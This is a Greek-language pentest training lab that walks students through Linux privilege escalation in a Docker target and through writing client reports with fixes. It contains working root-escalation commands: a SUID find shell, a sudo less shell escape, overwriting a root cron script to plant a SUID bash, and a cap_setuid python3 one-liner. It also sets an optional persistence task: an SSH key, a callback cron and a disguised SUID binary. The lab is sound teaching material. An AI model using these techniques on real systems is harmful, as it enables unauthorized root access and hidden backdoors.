Κλιμάκωση προνομίων — Πρακτικό εργαστήριο
Είδατε, στην επίδειξη, πώς ένας μη προνομιούχος λογαριασμός γίνεται root εκμεταλλευόμενος μία μόνο κακή ρύθμιση. Η σειρά σας τώρα να βρείτε τρεις διαφορετικές, στην ίδια εικόνα στόχου, και να συντάξετε την κάρτα που θα παραδίδατε σε έναν πελάτη.
Διάρκεια: 3 ώρες.
Παραδοτέο: ~/labs/rapport/elevations.md με τρεις δομημένες κάρτες + ~/labs/preuves/ με τα αντίστοιχα ίχνη εκτέλεσης.
Προαπαιτούμενα
Το Docker Desktop σε λειτουργία. Η εικόνα inskillsec/kali-lab πρέπει να έχει χτιστεί (βλέπε ενότητα 01) — το compose της M09 το χτίζει αυτόματα στην πρώτη εκκίνηση αν δεν το έχετε ήδη.
Καμία VM. Καμία ρύθμιση δικτύου να γίνει. Ο στόχος και ο επιτιθέμενος είναι δύο containers που επικοινωνούν σε ιδιωτικό δίκτυο Docker, 10.20.30.0/24.
Γιατί Docker αντί για VM για αυτό το εργαστήριο
Αυτό το εργαστήριο υπήρχε προηγουμένως σε Metasploitable 2 + Metasploitable 3 σε VirtualBox. Η μετάβαση στο Docker δεν είναι τεχνική προτίμηση: είναι παιδαγωγική απόφαση.
Τι χάθηκε: Windows. Μια VM Windows Server σκηνοθετεί διαδρομές κλιμάκωσης (Unquoted Service Path, DLL hijacking, AlwaysInstallElevated) που δεν έχουν αντίστοιχο σε Linux. Τα containers Windows υπάρχουν, αλλά ζυγίζουν 5 έως 6 GB, τρέχουν μόνο σε host Windows, και δεν αναπαράγουν πιστά μια φυσική μηχανή — η πραγματική κίνηση απαιτεί υπηρεσίες συστήματος, registry, GUI. Αυτά τα θέματα καλύπτονται στις έννοιες (μάθημα 9.1) και παραπέμπουν στο HackTheBox για την πρακτική.
Τι κερδήθηκε: δέκα λεπτά ρύθμισης αντί για δύο ώρες, κανένα πρόβλημα προσαρμογέα δικτύου bridge, κανένα snapshot να γίνει, κανένας χαμένος κωδικός πρόσβασης root. Ένας αναπαραγώγιμος στόχος bit προς bit που εγγυάται ότι οι τέσσερις παιδαγωγικές διαδρομές είναι ακριβώς αυτές που περιγράφονται — όχι οκτώ CVE πυρήνα που αποκλίνουν ανάλογα με την έκδοση του Ubuntu.
Τι παραμένει αμετάβλητο: η λογική του pentester. SUID, χαλαρό sudo, εγγράψιμο cron, επιθετικές capabilities — αυτοί είναι ακριβώς οι ίδιοι φορείς όπως σε έναν πραγματικό διακομιστή. Ο στόχος Docker αυτού του εργαστηρίου είναι πιο ρεαλιστικός από το Metasploitable 2 σε αυτό ακριβώς το σημείο: το Metasploitable 2 είναι ένα μουσείο CVE του 2004, ο στόχος M09 αναπαράγει λάθη που βλέπουμε ακόμη το 2026 σε πρόσφατους διακομιστές.
Βήμα 1 — Εκκίνηση του lab (2 λεπτά)
cd labs/docker/module-09-elevation-privileges
docker compose up -d --build
Το πρώτο --build διαρκεί δύο έως τρία λεπτά (Ubuntu 22.04 + περίπου είκοσι πακέτα). Τα επόμενα είναι στιγμιαία με cache.
Επαλήθευση:
docker compose ps
docker compose logs cible-linux
Στα logs, πρέπει να δείτε να εμφανίζονται τέσσερις γραμμές [m09] Voie … : … που επιβεβαιώνουν ότι κάθε φορέας είναι σωστά τοποθετημένος. Αν λείπει μία, η αντίστοιχη διαδρομή δεν θα λειτουργήσει — βλέπε την ενότητα αντιμετώπισης προβλημάτων.
Είσοδος στον επιτιθέμενο:
docker compose exec attaquant bash
mkdir -p ~/labs/{preuves,rapport}
cd ~/labs
Βήμα 2 — Το foothold bob (5 λεπτά)
Το σημείο εκκίνησης είναι ένας τυπικός λογαριασμός χρήστη που αποκτήθηκε από προηγούμενη ενότητα (phishing, αδύναμος κωδικός πρόσβασης, εκτεθειμένη υπηρεσία). Εδώ, είναι το bob:password μέσω SSH.
Από τον επιτιθέμενο:
ssh bob@10.20.30.20
# password : password
Είστε τώρα στον στόχο, ως bob. Κανένα προνόμιο. Από εκεί ξεκινά όλο το υπόλοιπο.
Τι αντιπροσωπεύει συγκεκριμένα ένα foothold σε πραγματική αποστολή
Σε πραγματική αποστολή, σχεδόν ποτέ δεν μπαίνουμε απευθείας ως root. Μπαίνουμε ως ένας φτωχός λογαριασμός: μια υπηρεσία web τρέχει ως www-data, ένας ξεχασμένος λογαριασμός προγραμματιστή έχει αδύναμο κωδικό πρόσβασης, ένας κωδικός πρόσβασης που διέρρευσε στο GitHub εξακολουθεί να λειτουργεί, ένας μη-sudo χρήστης έκανε κλικ σε έναν σύνδεσμο.
Αυτός ο λογαριασμός επιτρέπει τρία πράγματα: ανάγνωση προσβάσιμων αρχείων, εκκίνηση διεργασιών, εγγραφή στον δικό του κατάλογο. Δεν επιτρέπει ανάγνωση του /etc/shadow, τροποποίηση του /etc/passwd, ούτε ακρόαση σε προνομιούχες θύρες (< 1024).
Η κλιμάκωση προνομίων είναι η γέφυρα ανάμεσα σε αυτούς τους δύο κόσμους. Είναι σχεδόν πάντα το βήμα που καταναλώνει τον περισσότερο χρόνο σε μια αποστολή, και είναι αυτό που διαχωρίζει περισσότερο έναν έμπειρο pentester από έναν αρχάριο. Ένας αρχάριος τρέχει το linpeas και κάνει κλικ σε ό,τι λάμπει. Ένας pentester διαβάζει την έξοδο του linpeas και ξέρει ήδη, σε αυτό το στάδιο, ποια από τις τριάντα ύποπτες γραμμές είναι η αληθινή.
Βήμα 3 — Χαρτογράφηση με το χέρι (20 λεπτά)
Αντισταθείτε στον πειρασμό να τρέξετε αμέσως το linpeas. Κάντε πρώτα μια χειροκίνητη χαρτογράφηση: αυτό είναι που χτίζει το αντανακλαστικό. Το linpeas θα έρθει στο βήμα 4 για σύγκριση.
Στον στόχο, ως bob, τέσσερις εντολές αρκούν για να αποκαλύψουν τις τέσσερις διαδρομές:
# Διαδρομή 1 — δυαδικά SUID
find / -perm -u=s -type f 2>/dev/null
# Διαδρομή 2 — sudo επιτρεπτό χωρίς κωδικό πρόσβασης
sudo -l
# Διαδρομή 3 — cron root και τροποποιήσιμα scripts
cat /etc/crontab /etc/cron.d/* 2>/dev/null
ls -l /opt/backup.sh
# Διαδρομή 4 — επιθετικές capabilities
getcap -r / 2>/dev/null
Κάθε εντολή αποκαλύπτει ένα ίχνος — όχι τέσσερα ίχνη μεταμφιεσμένα, τέσσερα πραγματικά διακριτά ίχνη. Αφιερώστε πέντε λεπτά για να κατανοήσετε τι βλέπετε πριν συνεχίσετε.
Πώς να διαβάσετε την έξοδο του find -perm -u=s
Το find / -perm -u=s -type f 2>/dev/null απαριθμεί όλα τα αρχεία με ενεργό το bit SUID. Η έξοδος περιέχει τυπικά 15 έως 25 γραμμές σε ένα τυπικό Ubuntu, και το 90% είναι φυσιολογικά: τα su, sudo, mount, umount, passwd, chsh πρέπει να έχουν SUID για να λειτουργήσουν — αλλάζουν ταυτότητα για τη διάρκεια της εκτέλεσής τους.
Αυτό που ψάχνετε είναι το δυαδικό αρχείο που δεν έχει καμία δουλειά σε αυτή τη λίστα. Σε αυτόν τον στόχο, το /usr/bin/find είναι SUID — ένα κανονικό find δεν είναι ποτέ SUID σε ένα καθαρό Linux. Αυτό είναι το σήμα.
Η λευκή λίστα του τι θα έπρεπε να είναι SUID στο Ubuntu 22.04:
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
Οτιδήποτε βγαίνει από αυτή τη λίστα είναι υποψήφιο για κλιμάκωση. find, less, awk, perl, python, vim, nmap, tar: το καθένα έχει μια μέθοδο GTFOBins για να δώσει ένα shell root.
sudo -l: η ερώτηση που πρέπει πάντα να θέτετε πρώτη
Το sudo -l εμφανίζει τι δικαίωμα έχει ο δικός σας λογαριασμός με το sudo. Η έξοδος περιέχει τρεις περιπτώσεις:
Sorry, user bob may not run sudo— κανένα δικαίωμα sudo καθόλου. Είναι η ονομαστική περίπτωση.bob may run the following commands: (ALL) ALL— πλήρες δικαίωμα sudo με κωδικό πρόσβασης. Χρειάζεται ο κωδικός πρόσβασης του bob. Αν τον έχετε ήδη (ήταν το foothold σας), είστε αμέσως root:sudo su.bob may run the following commands: (ALL) NOPASSWD: /usr/bin/less /var/log/*— περιορισμένο δικαίωμα sudo και χωρίς κωδικό πρόσβασης. Αυτή είναι η διαδρομή 2 αυτού του εργαστηρίου.
Η περίπτωση 3 είναι το πιο συχνό λάθος στην παραγωγή. Ο διαχειριστής ήθελε να αφήσει τον bob να διαβάζει τα logs χωρίς να τον ενοχλεί με κωδικούς πρόσβασης, έγραψε έναν περιοριστικό κανόνα sudoers. Μόνο που το less δέχεται την εντολή !command που ξεκινά ένα shell — κληρονομώντας τα δικαιώματα sudo, άρα root. Το GTFOBins καταγράφει για κάθε εντολή την αντίστοιχη τεχνική.
Cron writable: γιατί είναι εξίσου σοβαρό
Το Cron εκτελεί εντολές σε τακτά χρονικά διαστήματα, με τα δικαιώματα του χρήστη για τον οποίο έχει ρυθμιστεί. Τα /etc/crontab και /etc/cron.d/* περιέχουν τα συστημικά cron, που εκτελούνται εξ ορισμού ως root.
Η μορφή μιας γραμμής cron είναι λεπτό ώρα ημέρα μήνας ημέρα_εβδομάδας χρήστης εντολή. Σε αυτόν τον στόχο, το /etc/cron.d/backup περιέχει:
* * * * * root /opt/backup.sh
Μετάφραση: κάθε λεπτό, ο root εκτελεί το /opt/backup.sh. Τίποτα κακό εδώ — είναι μια φυσιολογική επιχειρησιακή ανάγκη (αντίγραφο ασφαλείας logs).
Το λάθος βρίσκεται αλλού. Το /opt/backup.sh έχει δικαιώματα 777: αναγνώσιμο, εκτελέσιμο, και τροποποιήσιμο από όλους, συμπεριλαμβανομένου του bob. Ο επιτιθέμενος αντικαθιστά το περιεχόμενο του script με ό,τι θέλει. Ένα λεπτό αργότερα, η εντολή του τρέχει ως root.
Αυτή είναι η μόνη διαδρομή αυτού του εργαστηρίου που απαιτεί αναμονή — οι άλλες τρεις δίνουν root αμέσως. Εδώ μετράμε τη διαφορά ανάμεσα σε μια στιγμιαία επίθεση (SUID, sudo, capability) και μια χρονικά καθυστερημένη επίθεση (cron, service, watchdog). Σε μια αποστολή με σύντομο παράθυρο, ο στιγμιαίος επιτιθέμενος κερδίζει.
getcap: η διαδρομή που οι μισοί pentester ξεχνούν
Οι capabilities του Linux είναι ένας ενδιάμεσος μηχανισμός μεταξύ "κανονικού χρήστη" και "πλήρους root". Επιτρέπουν να χορηγηθεί σε ένα δυαδικό αρχείο μία συγκεκριμένη δυνατότητα — ακρόαση σε προνομιούχες θύρες, ανάγνωση οποιουδήποτε αρχείου, αλλαγή ταυτότητας — χωρίς να του δίνονται όλα τα δικαιώματα root.
Όταν χρησιμοποιούνται σωστά, αντικαθιστούν το SUID με πιο ασφαλή τρόπο: αντί για ένα δυαδικό αρχείο που γίνεται root με μία κίνηση, του χορηγείται ακριβώς η δυνατότητα που χρειάζεται. Ένα ping με cap_net_raw μπορεί να ανοίξει raw sockets, αλλά τίποτα άλλο — αυτό είναι πιο αυστηρό από ένα SUID ping.
Όταν χρησιμοποιούνται λανθασμένα, είναι μία από τις πιο διακριτικές διαδρομές προς το root. Το cap_setuid+ep στην python επιτρέπει την κλήση setuid(0), που σημαίνει να γίνεις root. Αυτή η capability δεν εμφανίζεται στο find / -perm -u=s, δεν βρίσκεται στο sudo -l, δεν αποτελεί μέρος του /etc/crontab. Ένας επιτιθέμενος που δεν εκτελεί το getcap -r / τη χάνει.
Η εντολή getcap -r / 2>/dev/null απαριθμεί όλες τις capabilities του συστήματος. Ψάξτε τις επιθετικές λέξεις: cap_setuid, cap_setgid, cap_sys_admin, cap_dac_read_search, cap_dac_override. Καθεμία είναι άμεση διαδρομή προς το root, υπό την προϋπόθεση ότι βρίσκεται σε ένα δυαδικό αρχείο που μπορεί να κληθεί (όπως python, perl, gdb, ή ένα δυαδικό αρχείο που γράφετε εσείς οι ίδιοι).
Σημειώστε αυτό που βρήκατε στο ~/labs/rapport/elevations.md. Μία γραμμή ανά διαδρομή, σε τρεις λέξεις: SUID find, sudo NOPASSWD less, cron writable backup.sh, cap_setuid python3.
Βήμα 4 — Επιβεβαίωση με linpeas (10 λεπτά)
Από το Kali, στείλτε το linpeas στον στόχο μέσω απλής λήψης HTTP (το Kali φιλοξενεί, ο bob κατεβάζει):
# --- Στο Kali (άλλο τερματικό) ---
cd /tmp
cp /usr/share/peass/linpeas/linpeas.sh . 2>/dev/null \
|| wget -q https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000
# --- Στον στόχο (συνεδρία bob) ---
cd /tmp
wget http://10.20.30.5:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee ~/linpeas-output.txt
Το linpeas χρειάζεται πέντε λεπτά για να σαρώσει τα πάντα. Κοιτάξτε τις ενότητες επισημασμένες σε κόκκινο/κίτρινο:
[+] SUID - Check easy privesc, exploits and write perms→ πρέπει να απαριθμεί το/usr/bin/find.[+] Checking sudo tokens→ πρέπει να απαριθμεί τον κανόνα NOPASSWD στο less.[+] Cron jobs→ πρέπει να επισημάνει το/opt/backup.shμε τα δικαιώματα777.[+] Capabilities→ πρέπει να απαριθμεί τοcap_setuid+epστο python3.10.
Επαναφέρετε την έξοδο στο Kali για να την αρχειοθετήσετε:
# Πάντα στον στόχο
exit # βγαίνει από το SSH
# Στο Kali
scp bob@10.20.30.20:~/linpeas-output.txt ~/labs/preuves/00-linpeas.txt
Αυτό το βήμα δεν είναι εδώ για να "βρείτε" — τα βρήκατε ήδη όλα στο βήμα 3. Είναι εδώ για να βαθμονομήσει το μάτι σας: πώς μοιάζει η έξοδος του linpeas όταν οι κακές ρυθμίσεις είναι πραγματικές; Στις επόμενες αποστολές, θα ξέρετε αμέσως να διαχωρίζετε ένα πραγματικό σήμα linpeas από ένα ψευδώς θετικό.
Βήμα 5 — Επιλογή των τριών διαδρομών σας (5 λεπτά)
Έχετε τέσσερα ίχνη, το εργαστήριο ζητά τρία διαφορετικά (όχι τρία SUID σε τρία διαφορετικά δυαδικά αρχεία — τρεις πραγματικές διακριτές οικογένειες).
Πρόταση: διαδρομή 1 + διαδρομή 2 + μία από τις δύο τελευταίες. Οι διαδρομές 1 και 2 είναι κλασικές, οι διαδρομές 3 και 4 είναι πιο λεπτές.
Σημειώστε τις τρεις επιλογές σας στην κορυφή του rapport/elevations.md, με μια φράση αιτιολόγησης ανά επιλογή. Δεν είναι τυπικότητα — είναι η πρώτη παράγραφος που θα διαβάσει ο CISO στην αναφορά.
Βήμα 6 — Διαδρομή 1: SUID στο find (30 λεπτά)
Ανακάλυψη:
ls -l /usr/bin/find
# -rwsr-xr-x 1 root root ... /usr/bin/find
Το s στη θέση του x του ιδιοκτήτη είναι το bit SUID. Το find εκτελείται λοιπόν με τα δικαιώματα του root, ανεξάρτητα από το ποιος το εκκινεί.
Εκμετάλλευση:
find . -exec /bin/sh -p \; -quit
# id
# uid=1000(bob) euid=0(root) groups=1000(bob)
Το -exec εκκινεί μια εντολή. Το \; -quit περιορίζει σε μία εκτέλεση. Το -p ζητά από το sh να διατηρήσει το ενεργό euid (0) αντί να το αφήσει να πέσει στο 1000 — χωρίς το -p, τα bash και sh περιορίζονται μόνα τους όταν ανιχνεύουν ότι τρέχουν σε SUID.
Επιβεβαίωση:
whoami # εμφανίζει root
id # uid=1000(bob) euid=0(root)
cat /etc/shadow | head -3
Αποθηκεύστε το ίχνος:
script -q -c 'find . -exec /bin/sh -p \; -quit' ~/preuves/01-suid-find.log
Συντάξτε την κάρτα στο rapport/elevations.md με το παρακάτω πρότυπο.
Πρότυπο κάρτας προς συμπλήρωση
## Κλιμάκωση 1 — SUID στο /usr/bin/find
### Πλαίσιο
- Στόχος: 10.20.30.20 (staging-01.acme.local)
- Αρχικός λογαριασμός: bob (uid 1000)
- Στόχος: root
### Ανακάλυψη
- Εντολή: `find / -perm -u=s -type f 2>/dev/null`
- Αποκαλυπτική έξοδος: το `/usr/bin/find` βρίσκεται στη λίστα, ενώ αυτό το δυαδικό αρχείο δεν
έχει κανέναν λόγο να είναι SUID σε ένα καθαρό Linux.
### Εκμετάλλευση
- Payload: `find . -exec /bin/sh -p \; -quit`
- Επιβεβαίωση: `id` → `euid=0(root)`
### Αντίκτυπος
Ένας τυπικός λογαριασμός χρήστη γίνεται root με μία εντολή. Ανάγνωση του /etc/shadow,
τροποποίηση του /etc/passwd, εγκατάσταση backdoors, πρόσβαση στα δεδομένα όλων
των άλλων χρηστών. Στην πράξη: πλήρης παραβίαση της μηχανής.
### Σύσταση
- Άμεση: `chmod u-s /usr/bin/find` — αφαίρεση του bit SUID.
- Θεμελιώδης: εβδομαδιαίος έλεγχος των δυαδικών SUID (`find / -perm -u=s -type f`),
ειδοποίηση για κάθε νέα εμφάνιση SUID εκτός λευκής λίστας.
### Αποδείξεις
- preuves/01-suid-find.log
Βήμα 7 — Διαδρομή 2: sudo NOPASSWD στο less (30 λεπτά)
Ανακάλυψη:
sudo -l
# User bob may run the following commands on cible:
# (ALL) NOPASSWD: /usr/bin/less /var/log/*
Ο bob μπορεί να διαβάσει όλα τα αρχεία του /var/log/* ως root, χωρίς κωδικό πρόσβασης. Η ανθρώπινη συντόμευση είναι "μπορεί να συμβουλευτεί τα logs". Η πραγματική συμπεριφορά είναι ευρύτερη.
Εκμετάλλευση:
sudo less /var/log/backup.log
# Μόλις ξεκινήσει το less, πληκτρολογήστε:
!/bin/bash
# Στη συνέχεια Enter. Ανοίγει ένα shell. id:
# uid=0(root) gid=0(root) groups=0(root)
Το !command είναι μια τεκμηριωμένη λειτουργία του less: περνά την εντολή στο shell με τα δικαιώματα της διεργασίας less. Καθώς το less τρέχει σε sudo (άρα root), το shell κληρονομεί το root.
Επιβεβαίωση:
whoami # root
id # uid=0
exit # βγαίνει από το bash
q # βγαίνει από το less
Αποθηκεύστε το ίχνος:
script -q -c 'sudo less /var/log/backup.log' ~/preuves/02-sudo-less.log
# Στο less: !id ; στη συνέχεια q για έξοδο
Γιατί το less δέχεται !command — ιστορικό
Το less είναι απόγονος του more, το οποίο είναι απόγονος του pager του Berkeley της δεκαετίας του '80. Εκείνη την εποχή, ένα pager δεν ήταν ένας παθητικός αναγνώστης: ήταν ένα εργαλείο που ο διαχειριστής συστήματος χρησιμοποιούσε για να εργαστεί. Φυσιολογικό να μπορεί κανείς, από το less, να εκκινήσει μια εντολή χωρίς να εγκαταλείψει την τρέχουσα σελίδα.
Η λειτουργία !command επιβίωσε. Είναι τεκμηριωμένη στο manpage — ούτε κρυμμένη, ούτε αφαιρεμένη. Το πρόβλημα δεν είναι το less, είναι το sudo less. Το να περάσετε μια διαδραστική εντολή όπως το less σε sudo είναι σχεδόν πάντα λάθος: less, vi, awk, find, tar, όλα δέχονται μια διαφυγή shell. Η λίστα GTFOBins καταγράφει πάνω από 200 δυαδικά αρχεία με τουλάχιστον μία μέθοδο διαφυγής.
Αυστηρός κανόνας για έναν διαχειριστή που γράφει ένα sudoers: να επιτρέπει μόνο εντολές μη διαδραστικές σε NOPASSWD. Ιδανικά: ένα δικό μας script χωρίς ορίσματα, ακόμα καλύτερα αν βρίσκεται σε μια διαδρομή που ο bob δεν μπορεί να αντικαταστήσει το περιεχόμενό της. Ένας καλά γραμμένος κανόνας NOPASSWD: /usr/local/bin/lire-log.sh είναι ασφαλής. Ένας κανόνας NOPASSWD: /usr/bin/less /var/log/* δεν είναι.
Συντάξτε την κάρτα στην αναφορά.
Βήμα 8 — Διαδρομή 3 ή 4, κατ' επιλογή (30 λεπτά)
Επιλογή A — cron writable:
# Ως bob
ls -l /opt/backup.sh
# -rwxrwxrwx 1 root root ... /opt/backup.sh
# Ένεση εντολής
cat > /opt/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF
# Αναμονή ενός λεπτού (το cron εκτελείται * * * * *)
sleep 65
# Χρήση του bash SUID που τοποθέτησε ο root
/tmp/rootbash -p
# id → euid=0
Αποθήκευση:
script -q -c '/tmp/rootbash -p' ~/preuves/03-cron.log
Επιλογή B — capability cap_setuid στο python3:
getcap /usr/bin/python3.10
# /usr/bin/python3.10 cap_setuid=ep
python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
# id → uid=0
Αποθήκευση:
script -q -c "python3.10 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'" \
~/preuves/03-capability.log
Συντάξτε την αντίστοιχη κάρτα.
Γιατί η διαδρομή 3 απαιτεί αναμονή και όχι οι άλλες
Το cron ξυπνά τον δαίμονά του κάθε λεπτό. Όταν ξαναγράφετε το /opt/backup.sh, τίποτα δεν συμβαίνει αμέσως — πρέπει να περιμένετε το επόμενο κτύπημα του ρολογιού.
Σε πραγματική αποστολή, αυτή η καθυστέρηση μπορεί να είναι καλά νέα: κάνει την επίθεση ανιχνεύσιμη μόνο στα logs τη στιγμή που εκτελείται το cron, όχι τη στιγμή που τροποποιείται το script. Πολλά SIEM παρακολουθούν το execve(/opt/backup.sh), όχι το write(/opt/backup.sh) — ο επιτιθέμενος έχει χρόνο να καθαρίσει τα ίχνη του.
Μπορεί επίσης να είναι κακά νέα αν είστε χρονομετρημένοι. Ένα παράθυρο δοκιμής δύο ωρών δεν συμβιβάζεται με ένα cron @daily. Πάντα να κοιτάζετε τη συχνότητα: */1 *, */5 *, @hourly, @daily. Ένα cron @daily σε ένα lab δύο ωρών είναι ανεκμετάλλευτο στην πράξη — είναι θεωρία.
Το εργαστήριο χρησιμοποιεί * * * * * (κάθε λεπτό) για να παραμείνει πρακτικό. Σε πραγματική αποστολή, αν πέσετε σε @daily, γράψτε τον φορέα στην αναφορά ως υποθετικά εκμεταλλεύσιμο και προχωρήστε παρακάτω.
Βήμα 9 — Η συνολική αναφορά (20 λεπτά)
Πριν από τις τρεις κάρτες, προσθέστε μια περίληψη πέντε έως δέκα γραμμών, έναν συγκεντρωτικό πίνακα, και μια ενότητα γενικών συστάσεων.
# Αναφορά κλιμάκωσης προνομίων — staging-01.acme.local
## Περίληψη
Τρεις διαδρομές κλιμάκωσης προνομίων εντοπίστηκαν και εκμεταλλεύτηκαν στον
διακομιστή staging-01.acme.local ξεκινώντας από τυπικό λογαριασμό χρήστη
(bob). Κάθε μία οδηγεί σε πλήρη πρόσβαση root σε λιγότερο από ένα λεπτό. Καμία
δεν εξαρτάται από exploit πυρήνα — όλες βασίζονται σε λάθη ρύθμισης
του συστήματος ή του sudo. Η διόρθωση δεν απαιτεί καμία επανεκκίνηση
και μπορεί να γίνει σε λιγότερο από τριάντα λεπτά συνολικά.
## Σύνθεση
| # | Φορέας | Ανακάλυψη | Εκμετάλλευση | Διόρθωση |
| - | ------- | ---------- | ------------ | ---------- |
| 1 | SUID `/usr/bin/find` | `find / -perm -u=s` | `find . -exec /bin/sh -p \; -quit` | `chmod u-s /usr/bin/find` |
| 2 | sudo NOPASSWD `less /var/log/*` | `sudo -l` | στο less: `!/bin/bash` | Ξαναγράψτε `/etc/sudoers.d/bob-less` |
| 3 | Cron writable `/opt/backup.sh` | `cat /etc/cron.d/*` | Ξαναγράψτε το `backup.sh`, αναμονή 1 λεπτού | `chmod 755 /opt/backup.sh`, ιδιοκτήτης root |
## Λεπτομερείς κάρτες
(οι 3 κάρτες παραπάνω)
## Γενικές συστάσεις
1. **Έλεγχος** όλων των δυαδικών SUID / SGID μία φορά την εβδομάδα και ειδοποίηση για κάθε
εμφάνιση εκτός λευκής λίστας.
2. **Ξαναγράψτε** όλα τα sudoers NOPASSWD: επιτρέψτε μόνο δικά μας scripts
μη διαδραστικά, ποτέ απευθείας ένα δυαδικό αρχείο συστήματος.
3. **Ελέγξτε** τα δικαιώματα όλων των scripts που αναφέρονται στο /etc/crontab
και /etc/cron.d/ — κανένα script που εκτελείται από root δεν πρέπει να είναι τροποποιήσιμο
από μη-root χρήστη.
4. **Απογράψτε** τις capabilities του συστήματος μία φορά τον μήνα: `getcap -r /`.
Αφαιρέστε κάθε capability σε έναν διερμηνέα δυαδικό αρχείο (python, perl, ruby)
ή γνωστό δυαδικό αρχείο GTFOBins.
5. **Ανίχνευση** σε πραγματικό χρόνο κάθε εκτέλεσης `setuid()` από μη
προνομιούχο λογαριασμό, κάθε `execve()` που ενεργοποιείται από εγγράψιμο cron, κάθε κλήση
`!command` στο less (μέσω auditd).
Πλέγμα αυτοαξιολόγησης
- Τρεις κλιμακώσεις πραγματικά εκμεταλλευμένες, όχι απλώς εντοπισμένες.
- Τρεις διαφορετικές διαδρομές: όχι τρία SUID, όχι τρία sudo, όχι τρία cron.
- Κάθε κάρτα έχει: πλαίσιο + ανακάλυψη + εκμετάλλευση + αντίκτυπο + σύσταση + αποδείξεις.
- Πλήρεις αποδείξεις στο
preuves/(τουλάχιστον ένα αρχείο ανά κλιμάκωση, συν την έξοδο linpeas). - Καμία κάρτα δεν περιορίζεται σε ένα screenshot ενός
whoami. - Συγκεκριμένες συστάσεις, όχι «ενίσχυση της ασφάλειας» ούτε «ενημέρωση».
- Περίληψη λιγότερο από δέκα γραμμών στην κορυφή της αναφοράς.
- Συγκεντρωτικός πίνακας σε μία σελίδα, αναγνώσιμος χωρίς τις κάρτες.
- Κανένα exploit πυρήνα — αυτό το εργαστήριο δεν απαιτεί ποτέ exploit πυρήνα.
Προαιρετική επέκταση — Συγγραφή ενός bash-persist.sh
Μόλις γίνετε root, πώς παραμένει ένας επιτιθέμενος; Γράψτε το preuves/persist.sh που εγκαθιστά τρεις μηχανισμούς persistence:
- Ένα κλειδί SSH που προστίθεται στο
/root/.ssh/authorized_keys. - Ένα cron
@rebootπου καλεί πίσω προς τον επιτιθέμενο. - Ένα δυαδικό αρχείο SUID κρυμμένο στο
/tmp/.X11-lock(όνομα σκόπιμα αθώο).
Τεκμηριώστε κάθε μηχανισμό, και την εντολή για να τον αφαιρέσετε καθαρά στο τέλος της αποστολής. Ένας pentester που ξεχνά ένα backdoor δεν είναι πλέον pentester — η αναφορά πρέπει να καταγράφει τι τοποθέτησε και τη διαδικασία αφαίρεσης.
Σε αυτόν τον στόχο Docker, το persistence εξαφανίζεται με το πρώτο docker compose down -v. Αυτό είναι καλό νέο παιδαγωγικά: μπορείτε να πειραματιστείτε χωρίς φόβο να ξεχάσετε ένα ίχνος. Σε πραγματική αποστολή, η εντολή αφαίρεσης αποτελεί μέρος του παραδοτέου.
Τι μπλοκάρει συνήθως
| Σύμπτωμα | Αιτία | Διόρθωση |
|---|---|---|
find . -exec /bin/sh \; δίνει shell αλλά το id λέει uid=1000 | Το Bash απέρριψε το SUID | Χρησιμοποιήστε -p: /bin/sh -p ή bash -p. |
sudo less ζητά κωδικό πρόσβασης | Το αρχείο sudoers δεν εφαρμόστηκε | docker compose exec cible-linux cat /etc/sudoers.d/bob-less. |
!command στο less δεν ανοίγει shell | Έκδοση του less πολύ πρόσφατη με ενισχυμένη ασφάλεια | Χρησιμοποιήστε ρητά !/bin/bash -p. |
| Το cron δεν εκτελείται ποτέ | Η υπηρεσία cron δεν έχει ξεκινήσει | docker compose logs cible-linux — πρέπει να εμφανίζει [m09] Voie 3. Αλλιώς docker compose restart cible-linux. |
python3 -c 'os.setuid(0)' επιστρέφει EPERM | Χαμένη capability κατά το build ή αφαιρεμένο cap_add: SETUID από το compose | Rebuild: docker compose build --no-cache cible-linux. |
| Το linpeas λέει "no writable cron" ενώ το /opt/backup.sh είναι | Έκδοση linpeas προγενέστερη του 2023 | Κατεβάστε την τελευταία έκδοση (latest) από το GitHub. |
| Το shell root χάνει το χρώμα του / το prompt του | Ελάχιστο bash σε SUID | export PS1='# ' στη συνέχεια source /root/.bashrc αν είναι προσβάσιμο. |
Τι δεν καλύπτει το εργαστήριο — και πού να πάτε
Windows privesc — Unquoted Service Path, DLL hijacking, AlwaysInstallElevated
Οι εικόνες Windows Server στο Docker υπάρχουν (mcr.microsoft.com/windows/server), αλλά ζυγίζουν 5 έως 6 GB, τρέχουν μόνο σε host Windows, και δεν προσομοιώνουν πιστά έναν φυσικό σταθμό — πολλές υπηρεσίες συστήματος απουσιάζουν.
Για πραγματική πρακτική:
- HackTheBox Optimum, Legacy, Blue, Devel — αποσυρμένες μηχανές Windows, διαθέσιμες δωρεάν στο tier Starter.
- VulnHub — VM Windows προς λήψη και εκτέλεση σε VirtualBox.
- Windows Server 2019 evaluation — δωρεάν ISO από τη Microsoft, ισχύει για 180 ημέρες. Εγκαταστήστε το σε VirtualBox και συνεχίστε με WinPEAS + PowerUp.
Έννοιες που καλύπτονται από το μάθημα 9.1:
- Unquoted Service Path: μια υπηρεσία της οποίας η διαδρομή περιέχει κενά χωρίς εισαγωγικά, τα Windows επιλύουν δοκιμάζοντας κάθε τμήμα. Ένα
C:\Program.exeπου τοποθέτησε ο επιτιθέμενος εκτελείται πριν από τοC:\Program Files\App\bin.exe. - DLL hijacking: μια υπηρεσία φορτώνει μια DLL με όνομα (
shell32.dll), τα Windows την αναζητούν σε πολλούς καταλόγους. Αν ένας από αυτούς είναι εγγράψιμος, ο επιτιθέμενος τοποθετεί εκεί τη δική του DLL. - AlwaysInstallElevated: δύο κλειδιά registry
HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated=1καιHKLM\...επιτρέπουν σε κάθε χρήστη να εγκαταστήσει ένα MSI ως SYSTEM.
Kerberoasting και Active Directory
